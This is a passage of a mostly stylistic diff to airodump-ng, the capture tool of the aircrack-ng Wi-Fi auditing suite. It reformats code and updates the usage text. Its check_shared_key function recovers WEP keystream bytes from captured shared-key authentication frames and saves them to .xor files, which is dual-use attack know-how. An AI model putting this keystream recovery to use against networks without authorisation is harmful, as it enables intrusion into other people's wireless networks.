-		snprintf(G.message, sizeof(G.message), "][ normal sorting order");
-	}
-
-	if(keycode == KEY_TAB) {
-	    if(G.selection_ap == 0) {
-		G.selection_ap = 1;
-		G.selected_ap = 1;
-		snprintf(G.message, sizeof(G.message), "][ enabled AP selection");
-		G.sort_by = SORT_BY_NOTHING;
-	    } else if(G.selection_ap == 1) {
-		G.selection_ap = 0;
-		G.sort_by = SORT_BY_NOTHING;
-		snprintf(G.message, sizeof(G.message), "][ disabled selection");
-	    }
-	}
-
-	if(keycode == KEY_a) {
-	    if(G.show_ap == 1 && G.show_sta == 1 && G.show_ack == 0) {
-		G.show_ap = 1;
-		G.show_sta = 1;
-		G.show_ack = 1;
-		snprintf(G.message, sizeof(G.message), "][ display ap+sta+ack");
-	    } else if(G.show_ap == 1 && G.show_sta == 1 && G.show_ack == 1) {
-		G.show_ap = 1;
-		G.show_sta = 0;
-		G.show_ack = 0;
-		snprintf(G.message, sizeof(G.message), "][ display ap only");
-	    } else if(G.show_ap == 1 && G.show_sta == 0 && G.show_ack == 0) {
-		G.show_ap = 0;
-		G.show_sta = 1;
-		G.show_ack = 0;
-		snprintf(G.message, sizeof(G.message), "][ display sta only");
-	    } else if(G.show_ap == 0 && G.show_sta == 1 && G.show_ack == 0) {
-		G.show_ap = 1;
-		G.show_sta = 1;
-		G.show_ack = 0;
-		snprintf(G.message, sizeof(G.message), "][ display ap+sta");
-	    }
-	}
-
-	if (keycode == KEY_d) {
-		resetSelection();
-		snprintf(G.message, sizeof(G.message), "][ reset selection to default");
-	}
-
-	if(G.do_exit == 0 && !G.do_pause) {
-	    pthread_mutex_lock( &(G.mx_print) );
-
-		fprintf( stderr, "\33[1;1H" );
-		dump_print( G.ws.ws_row, G.ws.ws_col, G.num_cards );
-		fprintf( stderr, "\33[J" );
-		fflush(stderr);
-
-	    pthread_mutex_unlock( &(G.mx_print) );
-	}
-    }
-}
-
-void trim(char *str)
-{
-    int i;
-    int begin = 0;
-    int end = strlen(str) - 1;
-
-    while (isspace((int)str[begin])) begin++;
-    while ((end >= begin) && isspace((int)str[end])) end--;
-    // Shift all characters back to the start of the string array.
-    for (i = begin; i <= end; i++)
-        str[i - begin] = str[i];
-    str[i - begin] = '\0'; // Null terminate string.
+	while (isspace((int) str[begin])) begin++;
+	while ((end >= begin) && isspace((int) str[end])) end--;
+	// Shift all characters back to the start of the string array.
+	for (i = begin; i <= end; i++) str[i - begin] = str[i];
+	str[i - begin] = '\0'; // Null terminate string.
 }
 
-FILE *open_oui_file(void) {
+static FILE * open_oui_file(void)
+{
 	int i;
-	FILE *fp = NULL;
+	FILE * fp = NULL;
 
-	for (i=0; OUI_PATHS[i] != NULL; i++) {
+	for (i = 0; OUI_PATHS[i] != NULL; i++)
+	{
 		fp = fopen(OUI_PATHS[i], "r");
-		if ( fp != NULL ) {
+		if (fp != NULL)
+		{
 			break;
 		}
 	}
@@ -417,8 +422,9 @@
 	return fp;
 }
 
-struct oui * load_oui_file(void) {
-	FILE *fp;
+static struct oui * load_oui_file(void)
+{
+	FILE * fp;
 	char * manuf;
 	char buffer[BUFSIZ];
 	unsigned char a[2];
@@ -427,33 +433,41 @@
 	struct oui *oui_ptr = NULL, *oui_head = NULL;
 
 	fp = open_oui_file();
-	if (!fp) {
+	if (!fp)
+	{
 		return NULL;
 	}
 
 	memset(buffer, 0x00, sizeof(buffer));
-	while (fgets(buffer, sizeof(buffer), fp) != NULL) {
-		if (!(strstr(buffer, "(hex)")))
-			continue;
+	while (fgets(buffer, sizeof(buffer), fp) != NULL)
+	{
+		if (!(strstr(buffer, "(hex)"))) continue;
 
 		memset(a, 0x00, sizeof(a));
 		memset(b, 0x00, sizeof(b));
 		memset(c, 0x00, sizeof(c));
 		// Remove leading/trailing whitespaces.
 		trim(buffer);
-		if (sscanf(buffer, "%2c-%2c-%2c", a, b, c) == 3) {
-			if (oui_ptr == NULL) {
-				if (!(oui_ptr = (struct oui *)malloc(sizeof(struct oui)))) {
+		if (sscanf(buffer, "%2c-%2c-%2c", a, b, c) == 3)
+		{
+			if (oui_ptr == NULL)
+			{
+				if (!(oui_ptr = (struct oui *) malloc(sizeof(struct oui))))
+				{
 					fclose(fp);
 					perror("malloc failed");
 					return NULL;
 				}
-			} else {
-				if (!(oui_ptr->next = (struct oui *)malloc(sizeof(struct oui)))) {
+			}
+			else
+			{
+				if (!(oui_ptr->next
+					  = (struct oui *) malloc(sizeof(struct oui))))
+				{
 					fclose(fp);
 					perror("malloc failed");
 
-					while(oui_head != NULL)
+					while (oui_head != NULL)
 					{
 						oui_ptr = oui_head->next;
 						free(oui_head);
@@ -465,16 +479,26 @@
 			}
 			memset(oui_ptr->id, 0x00, sizeof(oui_ptr->id));
 			memset(oui_ptr->manuf, 0x00, sizeof(oui_ptr->manuf));
-			snprintf(oui_ptr->id, sizeof(oui_ptr->id), "%c%c:%c%c:%c%c", a[0], a[1], b[0], b[1], c[0], c[1]);
+			snprintf(oui_ptr->id,
+					 sizeof(oui_ptr->id),
+					 "%c%c:%c%c:%c%c",
+					 a[0],
+					 a[1],
+					 b[0],
+					 b[1],
+					 c[0],
+					 c[1]);
 			manuf = get_manufacturer_from_string(buffer);
-			if (manuf != NULL) {
+			if (manuf != NULL)
+			{
 				snprintf(oui_ptr->manuf, sizeof(oui_ptr->manuf), "%s", manuf);
 				free(manuf);
-			} else {
+			}
+			else
+			{
 				snprintf(oui_ptr->manuf, sizeof(oui_ptr->manuf), "Unknown");
 			}
-			if (oui_head == NULL)
-				oui_head = oui_ptr;
+			if (oui_head == NULL) oui_head = oui_ptr;
 			oui_ptr->next = NULL;
 		}
 	}
@@ -483,633 +507,713 @@
 	return oui_head;
 }
 
-int check_shared_key(unsigned char *h80211, int caplen)
+static int check_shared_key(unsigned char * h80211, int caplen)
 {
-    int m_bmac, m_smac, m_dmac, n, textlen;
-    char ofn[1024];
-    char text[4096];
-    char prga[4096];
-    unsigned int long crc;
-
-    if((unsigned)caplen > sizeof(G.sharedkey[0])) return 1;
-
-    m_bmac = 16;
-    m_smac = 10;
-    m_dmac = 4;
-
-    if( time(NULL) - G.sk_start > 5)
-    {
-        /* timeout(5sec) - remove all packets, restart timer */
-        memset(G.sharedkey, '\x00', 4096*3);
-        G.sk_start = time(NULL);
-    }
-
-    /* is auth packet */
-    if( (h80211[1] & 0x40) != 0x40 )
-    {
-        /* not encrypted */
-        if( ( h80211[24] + (h80211[25] << 8) ) == 1 )
-        {
-            /* Shared-Key Authentication */
-            if( ( h80211[26] + (h80211[27] << 8) ) == 2 )
-            {
-                /* sequence == 2 */
-                memcpy(G.sharedkey[0], h80211, caplen);
-                G.sk_len = caplen-24;
-            }
-            if( ( h80211[26] + (h80211[27] << 8) ) == 4 )
-            {
-                /* sequence == 4 */
-                memcpy(G.sharedkey[2], h80211, caplen);
-            }
-        }
-        else return 1;
-    }
-    else
-    {
-        /* encrypted */
-        memcpy(G.sharedkey[1], h80211, caplen);
-        G.sk_len2 = caplen-24-4;
-    }
-
-    /* check if the 3 packets form a proper authentication */
-
-    if( ( memcmp(G.sharedkey[0]+m_bmac, NULL_MAC, 6) == 0 ) ||
-        ( memcmp(G.sharedkey[1]+m_bmac, NULL_MAC, 6) == 0 ) ||
-        ( memcmp(G.sharedkey[2]+m_bmac, NULL_MAC, 6) == 0 ) ) /* some bssids == zero */
-    {
-        return 1;
-    }
-
-    if( ( memcmp(G.sharedkey[0]+m_bmac, G.sharedkey[1]+m_bmac, 6) != 0 ) ||
-        ( memcmp(G.sharedkey[0]+m_bmac, G.sharedkey[2]+m_bmac, 6) != 0 ) ) /* all bssids aren't equal */
-    {
-        return 1;
-    }
-
-    if( ( memcmp(G.sharedkey[0]+m_smac, G.sharedkey[2]+m_smac, 6) != 0 ) ||
-        ( memcmp(G.sharedkey[0]+m_smac, G.sharedkey[1]+m_dmac, 6) != 0 ) ) /* SA in 2&4 != DA in 3 */
-    {
-        return 1;
-    }
-
-    if( (memcmp(G.sharedkey[0]+m_dmac, G.sharedkey[2]+m_dmac, 6) != 0 ) ||
-        (memcmp(G.sharedkey[0]+m_dmac, G.sharedkey[1]+m_smac, 6) != 0 ) ) /* DA in 2&4 != SA in 3 */
-    {
-        return 1;
-    }
-
-    textlen = G.sk_len;
-
-    if(textlen+4 != G.sk_len2)
-    {
-        snprintf(G.message, sizeof(G.message), "][ Broken SKA: %02X:%02X:%02X:%02X:%02X:%02X ",
-                    *(G.sharedkey[0]+m_bmac), *(G.sharedkey[0]+m_bmac+1), *(G.sharedkey[0]+m_bmac+2),
-                *(G.sharedkey[0]+m_bmac+3), *(G.sharedkey[0]+m_bmac+4), *(G.sharedkey[0]+m_bmac+5));
-        return 1;
-    }
-
-    if((unsigned)textlen > sizeof(text) - 4) return 1;
-
-    memcpy(text, G.sharedkey[0]+24, textlen);
-
-    /* increment sequence number from 2 to 3 */
-    text[2] = text[2]+1;
-
-    crc = 0xFFFFFFFF;
-
-    for( n = 0; n < textlen; n++ )
-        crc = crc_tbl[(crc ^ text[n]) & 0xFF] ^ (crc >> 8);
-
-    crc = ~crc;
-
-    /* append crc32 over body */
-    text[textlen]     = (crc      ) & 0xFF;
-    text[textlen+1]   = (crc >>  8) & 0xFF;
-    text[textlen+2]   = (crc >> 16) & 0xFF;
-    text[textlen+3]   = (crc >> 24) & 0xFF;
-
-    /* cleartext XOR cipher */
-    for(n=0; n<(textlen+4); n++)
-    {
-        prga[4+n] = (text[n] ^ G.sharedkey[1][28+n]) & 0xFF;
-    }
-
-    /* write IV+index */
-    prga[0] = G.sharedkey[1][24] & 0xFF;
-    prga[1] = G.sharedkey[1][25] & 0xFF;
-    prga[2] = G.sharedkey[1][26] & 0xFF;
-    prga[3] = G.sharedkey[1][27] & 0xFF;
-
-    if( G.f_xor != NULL )
-    {
-        fclose(G.f_xor);
-        G.f_xor = NULL;
-    }
-
-    snprintf( ofn, sizeof( ofn ) - 1, "%s-%02d-%02X-%02X-%02X-%02X-%02X-%02X.%s", G.prefix, G.f_index,
-              *(G.sharedkey[0]+m_bmac), *(G.sharedkey[0]+m_bmac+1), *(G.sharedkey[0]+m_bmac+2),
-              *(G.sharedkey[0]+m_bmac+3), *(G.sharedkey[0]+m_bmac+4), *(G.sharedkey[0]+m_bmac+5), "xor" );
-
-    G.f_xor = fopen( ofn, "w");
-    if(G.f_xor == NULL)
-        return 1;
-
-    for(n=0; n<textlen+8; n++)
-        fputc((prga[n] & 0xFF), G.f_xor);
-
-    fflush(G.f_xor);
-
-    if( G.f_xor != NULL )
-    {
-        fclose(G.f_xor);
-        G.f_xor = NULL;
-    }
-
-    snprintf(G.message, sizeof(G.message), "][ %d bytes keystream: %02X:%02X:%02X:%02X:%02X:%02X ",
-                textlen+4, *(G.sharedkey[0]+m_bmac), *(G.sharedkey[0]+m_bmac+1), *(G.sharedkey[0]+m_bmac+2),
-              *(G.sharedkey[0]+m_bmac+3), *(G.sharedkey[0]+m_bmac+4), *(G.sharedkey[0]+m_bmac+5));
-
-    memset(G.sharedkey, '\x00', 512*3);
-    /* ok, keystream saved */
-    return 0;
+	int m_bmac, m_smac, m_dmac, n, textlen, maybe_broken;
+	char ofn[1024];
+	char text[4096];
+	char prga[4096];
+	unsigned int long crc;
+
+	if ((unsigned) caplen > sizeof(G.sharedkey[0])) return 1;
+
+	m_bmac = 16;
+	m_smac = 10;
+	m_dmac = 4;
+
+	if (time(NULL) - G.sk_start > 5)
+	{
+		/* timeout(5sec) - remove all packets, restart timer */
+		memset(G.sharedkey, '\x00', sizeof(G.sharedkey));
+		G.sk_start = time(NULL);
+	}
+
+	/* is auth packet */
+	if ((h80211[1] & 0x40) != 0x40)
+	{
+		/* not encrypted */
+		if ((h80211[24] + (h80211[25] << 8)) == 1)
+		{
+			/* Shared-Key Authentication */
+			if ((h80211[26] + (h80211[27] << 8)) == 2)
+			{
+				/* sequence == 2 */
+				memcpy(G.sharedkey[0], h80211, caplen);
+				G.sk_len = caplen - 24;
+			}
+			if ((h80211[26] + (h80211[27] << 8)) == 4)
+			{
+				/* sequence == 4 */
+				memcpy(G.sharedkey[2], h80211, caplen);
+			}
+		}
+		else
+			return 1;
+	}
+	else
+	{
+		/* encrypted */
+		memcpy(G.sharedkey[1], h80211, caplen);
+		G.sk_len2 = caplen - 24 - 4;
+	}
+
+	/* check if the 3 packets form a proper authentication */
+
+	if ((memcmp(G.sharedkey[0] + m_bmac, NULL_MAC, 6) == 0)
+		|| (memcmp(G.sharedkey[1] + m_bmac, NULL_MAC, 6) == 0)
+		|| (memcmp(G.sharedkey[2] + m_bmac, NULL_MAC, 6)
+			== 0)) /* some bssids == zero */
+	{
+		return 1;
+	}
+
+	if ((memcmp(G.sharedkey[0] + m_bmac, G.sharedkey[1] + m_bmac, 6) != 0)
+		|| (memcmp(G.sharedkey[0] + m_bmac, G.sharedkey[2] + m_bmac, 6)
+			!= 0)) /* all bssids aren't equal */
+	{
+		return 1;
+	}
+
+	if ((memcmp(G.sharedkey[0] + m_smac, G.sharedkey[2] + m_smac, 6) != 0)
+		|| (memcmp(G.sharedkey[0] + m_smac, G.sharedkey[1] + m_dmac, 6)
+			!= 0)) /* SA in 2&4 != DA in 3 */
+	{
+		return 1;
+	}
+
+	if ((memcmp(G.sharedkey[0] + m_dmac, G.sharedkey[2] + m_dmac, 6) != 0)
+		|| (memcmp(G.sharedkey[0] + m_dmac, G.sharedkey[1] + m_smac, 6)
+			!= 0)) /* DA in 2&4 != SA in 3 */
+	{
+		return 1;
+	}
+
+	textlen = G.sk_len;
+
+	maybe_broken = 0;
+
+	/* this check is probably either broken or not very reliable,
+	   since there are known cases when it is hit with valid data.
+	   rather than doing a hard exit here, we now set a flag so
+	   the .xor file is only written if not already existing, in
+	   order to make sure we don't overwrite a good .xor file with
+	   a potentially broken one; but on the other hand if none exist
+	   already, we do want it being written. */
+	if (textlen + 4 != G.sk_len2)
+	{
+		snprintf(G.message,
+				 sizeof(G.message),
+				 "][ Broken SKA?: %02X:%02X:%02X:%02X:%02X:%02X ",
+				 *(G.sharedkey[0] + m_bmac),
+				 *(G.sharedkey[0] + m_bmac + 1),
+				 *(G.sharedkey[0] + m_bmac + 2),
+				 *(G.sharedkey[0] + m_bmac + 3),
+				 *(G.sharedkey[0] + m_bmac + 4),
+				 *(G.sharedkey[0] + m_bmac + 5));
+
+		maybe_broken = 1;
+	}
+
+	if ((unsigned) textlen > sizeof(text) - 4) return 1;
+
+	memcpy(text, G.sharedkey[0] + 24, textlen);
+
+	/* increment sequence number from 2 to 3 */
+	text[2] = text[2] + 1;
+
+	crc = 0xFFFFFFFF;
+
+	for (n = 0; n < textlen; n++)
+		crc = crc_tbl[(crc ^ text[n]) & 0xFF] ^ (crc >> 8);
+
+	crc = ~crc;
+
+	/* append crc32 over body */
+	text[textlen] = (crc) &0xFF;
+	text[textlen + 1] = (crc >> 8) & 0xFF;
+	text[textlen + 2] = (crc >> 16) & 0xFF;
+	text[textlen + 3] = (crc >> 24) & 0xFF;
+
+	/* cleartext XOR cipher */
+	for (n = 0; n < (textlen + 4); n++)
+	{
+		prga[4 + n] = (text[n] ^ G.sharedkey[1][28 + n]) & 0xFF;
+	}
+
+	/* write IV+index */
+	prga[0] = G.sharedkey[1][24] & 0xFF;
+	prga[1] = G.sharedkey[1][25] & 0xFF;
+	prga[2] = G.sharedkey[1][26] & 0xFF;
+	prga[3] = G.sharedkey[1][27] & 0xFF;
+
+	if (G.f_xor != NULL)
+	{
+		fclose(G.f_xor);
+		G.f_xor = NULL;
+	}
+
+	snprintf(ofn,
+			 sizeof(ofn) - 1,
+			 "%s-%02d-%02X-%02X-%02X-%02X-%02X-%02X.%s",
+			 G.prefix,
+			 G.f_index,
+			 *(G.sharedkey[0] + m_bmac),
+			 *(G.sharedkey[0] + m_bmac + 1),
+			 *(G.sharedkey[0] + m_bmac + 2),
+			 *(G.sharedkey[0] + m_bmac + 3),
+			 *(G.sharedkey[0] + m_bmac + 4),
+			 *(G.sharedkey[0] + m_bmac + 5),
+			 "xor");
+
+	if (maybe_broken && (G.f_xor = fopen(ofn, "r")))
+	{
+		/* do not overwrite existing .xor file with maybe broken one */
+		fclose(G.f_xor);
+		G.f_xor = NULL;
+		return 1;
+	}
+
+	G.f_xor = fopen(ofn, "w");
+	if (G.f_xor == NULL) return 1;
+
+	for (n = 0; n < textlen + 8; n++) fputc((prga[n] & 0xFF), G.f_xor);
+
+	fflush(G.f_xor);
+
+	if (G.f_xor != NULL)
+	{
+		fclose(G.f_xor);
+		G.f_xor = NULL;
+	}
+
+	snprintf(G.message,
+			 sizeof(G.message),
+			 "][ %d bytes keystream: %02X:%02X:%02X:%02X:%02X:%02X ",
+			 textlen + 4,
+			 *(G.sharedkey[0] + m_bmac),
+			 *(G.sharedkey[0] + m_bmac + 1),
+			 *(G.sharedkey[0] + m_bmac + 2),
+			 *(G.sharedkey[0] + m_bmac + 3),
+			 *(G.sharedkey[0] + m_bmac + 4),
+			 *(G.sharedkey[0] + m_bmac + 5));
+
+	memset(G.sharedkey, '\x00', sizeof(G.sharedkey));
+	/* ok, keystream saved */
+	return 0;
 }
 
 char usage[] =
 
-"\n"
-"  %s - (C) 2006-2015 Thomas d\'Otreppe\n"
-"  http://www.aircrack-ng.org\n"
-"\n"
-"  usage: airodump-ng <options> <interface>[,<interface>,...]\n"
-"\n"
-"  Options:\n"
-"      --ivs                 : Save only captured IVs\n"
-"      --gpsd                : Use GPSd\n"
-"      --write      <prefix> : Dump file prefix\n"
-"      -w                    : same as --write \n"
-"      --beacons             : Record all beacons in dump file\n"
-"      --update       <secs> : Display update delay in seconds\n"
-"      --showack             : Prints ack/cts/rts statistics\n"
-"      -h                    : Hides known stations for --showack\n"
-"      -f            <msecs> : Time in ms between hopping channels\n"
-"      --berlin       <secs> : Time before removing the AP/client\n"
-"                              from the screen when no more packets\n"
-"                              are received (Default: 120 seconds)\n"
-"      -r             <file> : Read packets from that file\n"
-"      -x            <msecs> : Active Scanning Simulation\n"
-"      --manufacturer        : Display manufacturer from IEEE OUI list\n"
-"      --uptime              : Display AP Uptime from Beacon Timestamp\n"
-"      --wps                 : Display WPS information (if any)\n"
-"      --output-format\n"
-"                  <formats> : Output format. Possible values:\n"
-"                              pcap, ivs, csv, gps, kismet, netxml\n"
-"      --ignore-negative-one : Removes the message that says\n"
-"                              fixed channel <interface>: -1\n"
-"      --write-interval\n"
-"                  <seconds> : Output file(s) write interval in seconds\n"
-"\n"
-"  Filter options:\n"
-"      --encrypt   <suite>   : Filter APs by cipher suite\n"
-"      --netmask <netmask>   : Filter APs by mask\n"
-"      --bssid     <bssid>   : Filter APs by BSSID\n"
-"      --essid     <essid>   : Filter APs by ESSID\n"
+	"\n"
+	"  %s - (C) 2006-2018 Thomas d\'Otreppe\n"
+	"  https://www.aircrack-ng.org\n"
+	"\n"
+	"  usage: airodump-ng <options> <interface>[,<interface>,...]\n"
+	"\n"
+	"  Options:\n"
+	"      --ivs                 : Save only captured IVs\n"
+	"      --gpsd                : Use GPSd\n"
+	"      --write      <prefix> : Dump file prefix\n"
+	"      -w                    : same as --write \n"
+	"      --beacons             : Record all beacons in dump file\n"
+	"      --update       <secs> : Display update delay in seconds\n"
+	"      --showack             : Prints ack/cts/rts statistics\n"
+	"      -h                    : Hides known stations for --showack\n"
+	"      -f            <msecs> : Time in ms between hopping channels\n"
+	"      --berlin       <secs> : Time before removing the AP/client\n"
+	"                              from the screen when no more packets\n"
+	"                              are received (Default: 120 seconds)\n"
+	"      -r             <file> : Read packets from that file\n"
+	"      -x            <msecs> : Active Scanning Simulation\n"
+	"      --manufacturer        : Display manufacturer from IEEE OUI list\n"
+	"      --uptime              : Display AP Uptime from Beacon Timestamp\n"
+	"      --wps                 : Display WPS information (if any)\n"
+	"      --output-format\n"
+	"                  <formats> : Output format. Possible values:\n"
+	"                              pcap, ivs, csv, gps, kismet, netxml\n"
+	"      --ignore-negative-one : Removes the message that says\n"
+	"                              fixed channel <interface>: -1\n"
+	"      --write-interval\n"
+	"                  <seconds> : Output file(s) write interval in seconds\n"
+	"      --background <enable> : Override background detection.\n"
+	"\n"
+	"  Filter options:\n"
+	"      --encrypt   <suite>   : Filter APs by cipher suite\n"
+	"      --netmask <netmask>   : Filter APs by mask\n"
+	"      --bssid     <bssid>   : Filter APs by BSSID\n"
+	"      --essid     <essid>   : Filter APs by ESSID\n"
 #ifdef HAVE_PCRE
-"      --essid-regex <regex> : Filter APs by ESSID using a regular\n"
-"                              expression\n"
+	"      --essid-regex <regex> : Filter APs by ESSID using a regular\n"
+	"                              expression\n"
 #endif
-"      -a                    : Filter unassociated clients\n"
-"\n"
-"  By default, airodump-ng hop on 2.4GHz channels.\n"
-"  You can make it capture on other/specific channel(s) by using:\n"
-"      --channel <channels>  : Capture on specific channels\n"
-"      --band <abg>          : Band on which airodump-ng should hop\n"
-"      -C    <frequencies>   : Uses these frequencies in MHz to hop\n"
-"      --cswitch  <method>   : Set channel switching method\n"
-"                    0       : FIFO (default)\n"
-"                    1       : Round Robin\n"
-"                    2       : Hop on last\n"
-"      -s                    : same as --cswitch\n"
-"\n"
-"      --help                : Displays this usage screen\n"
-"\n";
-
-int is_filtered_netmask(unsigned char *bssid)
-{
-    unsigned char mac1[6];
-    unsigned char mac2[6];
-    int i;
-
-    for(i=0; i<6; i++)
-    {
-        mac1[i] = bssid[i]     & G.f_netmask[i];
-        mac2[i] = G.f_bssid[i] & G.f_netmask[i];
-    }
-
-    if( memcmp(mac1, mac2, 6) != 0 )
-    {
-        return( 1 );
-    }
-
-    return 0;
-}
-
-int is_filtered_essid(unsigned char *essid)
-{
-    int ret = 0;
-    int i;
-
-    if(G.f_essid)
-    {
-        for(i=0; i<G.f_essid_count; i++)
-        {
-            if(strncmp((char*)essid, G.f_essid[i], MAX_IE_ELEMENT_SIZE) == 0)
-            {
-                return 0;
-            }
-        }
+	"      -a                    : Filter unassociated clients\n"
+	"\n"
+	"  By default, airodump-ng hop on 2.4GHz channels.\n"
+	"  You can make it capture on other/specific channel(s) by using:\n"
+	"      --ht20                : Set channel to HT20 (802.11n)\n"
+	"      --ht40-               : Set channel to HT40- (802.11n)\n"
+	"      --ht40+               : Set channel to HT40+ (802.11n)\n"
+	"      --channel <channels>  : Capture on specific channels\n"
+	"      --band <abg>          : Band on which airodump-ng should hop\n"
+	"      -C    <frequencies>   : Uses these frequencies in MHz to hop\n"
+	"      --cswitch  <method>   : Set channel switching method\n"
+	"                    0       : FIFO (default)\n"
+	"                    1       : Round Robin\n"
+	"                    2       : Hop on last\n"
+	"      -s                    : same as --cswitch\n"
+	"\n"
+	"      --help                : Displays this usage screen\n"
+	"\n";
+
+static int is_filtered_netmask(unsigned char * bssid)
+{
+	unsigned char mac1[6];
+	unsigned char mac2[6];
+	int i;
+
+	for (i = 0; i < 6; i++)
+	{
+		mac1[i] = bssid[i] & G.f_netmask[i];
+		mac2[i] = G.f_bssid[i] & G.f_netmask[i];
+	}
+
+	if (memcmp(mac1, mac2, 6) != 0)
+	{
+		return (1);
+	}
+
+	return 0;
+}
+
+static int is_filtered_essid(unsigned char * essid)
+{
+	int ret = 0;
+	int i;
+
+	if (G.f_essid)
+	{
+		for (i = 0; i < G.f_essid_count; i++)
+		{
+			if (strncmp((char *) essid, G.f_essid[i], MAX_IE_ELEMENT_SIZE) == 0)
+			{
+				return 0;
+			}
+		}
 
-        ret = 1;
-    }
+		ret = 1;
+	}
 
 #ifdef HAVE_PCRE
-    if(G.f_essid_regex)
-    {
-        return pcre_exec(G.f_essid_regex, NULL, (char*)essid, strnlen((char *)essid, MAX_IE_ELEMENT_SIZE), 0, 0, NULL, 0) < 0;
-    }
+	if (G.f_essid_regex)
+	{
+		return pcre_exec(G.f_essid_regex,
+						 NULL,
+						 (char *) essid,
+						 strnlen((char *) essid, MAX_IE_ELEMENT_SIZE),
+						 0,
+						 0,
+						 NULL,
+						 0)
+			   < 0;
+	}
 #endif
 
-    return ret;
+	return ret;
 }
 
-void update_rx_quality( )
+static void update_rx_quality(void)
 {
-    unsigned int time_diff, capt_time, miss_time;
-    int missed_frames;
-    struct AP_info *ap_cur = NULL;
-    struct ST_info *st_cur = NULL;
-    struct timeval cur_time;
-
-    ap_cur = G.ap_1st;
-    st_cur = G.st_1st;
-
-    gettimeofday( &cur_time, NULL );
-
-    /* accesspoints */
-    while( ap_cur != NULL )
-    {
-        time_diff = 1000000UL * (cur_time.tv_sec  - ap_cur->ftimer.tv_sec )
-                            + (cur_time.tv_usec - ap_cur->ftimer.tv_usec);
-
-        /* update every `QLT_TIME`seconds if the rate is low, or every 500ms otherwise */
-        if( (ap_cur->fcapt >= QLT_COUNT && time_diff > 500000 ) || time_diff > (QLT_TIME * 1000000) )
-        {
-            /* at least one frame captured */
-            if(ap_cur->fcapt > 1)
-            {
-                capt_time =   ( 1000000UL * (ap_cur->ftimel.tv_sec  - ap_cur->ftimef.tv_sec )    //time between first and last captured frame
-                                        + (ap_cur->ftimel.tv_usec - ap_cur->ftimef.tv_usec) );
-
-                miss_time =   ( 1000000UL * (ap_cur->ftimef.tv_sec  - ap_cur->ftimer.tv_sec )    //time between timer reset and first frame
-                                        + (ap_cur->ftimef.tv_usec - ap_cur->ftimer.tv_usec) )
-                            + ( 1000000UL * (cur_time.tv_sec  - ap_cur->ftimel.tv_sec )          //time between last frame and this moment
-                                        + (cur_time.tv_usec - ap_cur->ftimel.tv_usec) );
-
-                //number of frames missed at the time where no frames were captured; extrapolated by assuming a constant framerate
-                if(capt_time > 0 && miss_time > 200000)
-                {
-                    missed_frames = ((float)((float)miss_time/(float)capt_time) * ((float)ap_cur->fcapt + (float)ap_cur->fmiss));
-                    ap_cur->fmiss += missed_frames;
-                }
+	unsigned int time_diff, capt_time, miss_time;
+	int missed_frames;
+	struct AP_info * ap_cur = NULL;
+	struct ST_info * st_cur = NULL;
+	struct timeval cur_time;
+
+	ap_cur = G.ap_1st;
+	st_cur = G.st_1st;
+
+	gettimeofday(&cur_time, NULL);
+
+	/* accesspoints */
+	while (ap_cur != NULL)
+	{
+		time_diff = 1000000UL * (cur_time.tv_sec - ap_cur->ftimer.tv_sec)
+					+ (cur_time.tv_usec - ap_cur->ftimer.tv_usec);
 
-                ap_cur->rx_quality = ((float)((float)ap_cur->fcapt / ((float)ap_cur->fcapt + (float)ap_cur->fmiss)) *
+		/* update every `QLT_TIME`seconds if the rate is low, or every 500ms
+		 * otherwise */
+		if ((ap_cur->fcapt >= QLT_COUNT && time_diff > 500000)
+			|| time_diff > (QLT_TIME * 1000000))
+		{
+			/* at least one frame captured */
+			if (ap_cur->fcapt > 1)
+			{
+				capt_time
+					= (1000000UL * (ap_cur->ftimel.tv_sec
+									- ap_cur->ftimef.tv_sec) // time between
+					   // first and last
+					   // captured frame
+					   + (ap_cur->ftimel.tv_usec - ap_cur->ftimef.tv_usec));
+
+				miss_time
+					= (1000000UL * (ap_cur->ftimef.tv_sec
+									- ap_cur->ftimer.tv_sec) // time between
+					   // timer reset and
+					   // first frame
+					   + (ap_cur->ftimef.tv_usec - ap_cur->ftimer.tv_usec))
+					  + (1000000UL * (cur_time.tv_sec
+									  - ap_cur->ftimel.tv_sec) // time between
+						 // last frame and
+						 // this moment
+						 + (cur_time.tv_usec - ap_cur->ftimel.tv_usec));
+
+				// number of frames missed at the time where no frames were
+				// captured; extrapolated by assuming a constant framerate
+				if (capt_time > 0 && miss_time > 200000)
+				{
+					missed_frames
+						= ((float) ((float) miss_time / (float) capt_time)
+						   * ((float) ap_cur->fcapt + (float) ap_cur->fmiss));
+					ap_cur->fmiss += missed_frames;
+				}
+
+				ap_cur->rx_quality = ((float) ((float) ap_cur->fcapt
+											   / ((float) ap_cur->fcapt
+												  + (float) ap_cur->fmiss))
+									  *
 #if defined(__x86_64__) && defined(__CYGWIN__)
-			(0.0f + 100));
+									  (0.0f + 100));
 #else
-			100.0f);
+									  100.0f);
 #endif
-            }
-            else ap_cur->rx_quality = 0; /* no packets -> zero quality */
+			}
+			else
+				ap_cur->rx_quality = 0; /* no packets -> zero quality */
 
-            /* normalize, in case the seq numbers are not iterating */
-            if(ap_cur->rx_quality > 100) ap_cur->rx_quality = 100;
-            if(ap_cur->rx_quality < 0  ) ap_cur->rx_quality =   0;
-
-            /* reset variables */
-            ap_cur->fcapt = 0;
-            ap_cur->fmiss = 0;
-            gettimeofday( &(ap_cur->ftimer) ,NULL);
-        }
-        ap_cur = ap_cur->next;
-    }
-
-    /* stations */
-    while( st_cur != NULL )
-    {
-        time_diff = 1000000UL * (cur_time.tv_sec  - st_cur->ftimer.tv_sec )
-                            + (cur_time.tv_usec - st_cur->ftimer.tv_usec);
-
-        if( time_diff > 10000000 )
-        {
-            st_cur->missed = 0;
-            gettimeofday( &(st_cur->ftimer), NULL );
-        }
+			/* normalize, in case the seq numbers are not iterating */
+			if (ap_cur->rx_quality > 100) ap_cur->rx_quality = 100;
+			if (ap_cur->rx_quality < 0) ap_cur->rx_quality = 0;
 
-        st_cur = st_cur->next;
-    }
+			/* reset variables */
+			ap_cur->fcapt = 0;
+			ap_cur->fmiss = 0;
+			gettimeofday(&(ap_cur->ftimer), NULL);
+		}
+		ap_cur = ap_cur->next;
+	}
+
+	/* stations */
+	while (st_cur != NULL)
+	{
+		time_diff = 1000000UL * (cur_time.tv_sec - st_cur->ftimer.tv_sec)
+					+ (cur_time.tv_usec - st_cur->ftimer.tv_usec);
 
+		if (time_diff > 10000000)
+		{
+			st_cur->missed = 0;
+			gettimeofday(&(st_cur->ftimer), NULL);
+		}
+
+		st_cur = st_cur->next;
+	}
 }
 
 /* setup the output files */
 
-int dump_initialize( char *prefix, int ivs_only )
+static int dump_initialize(char * prefix, int ivs_only)
 {
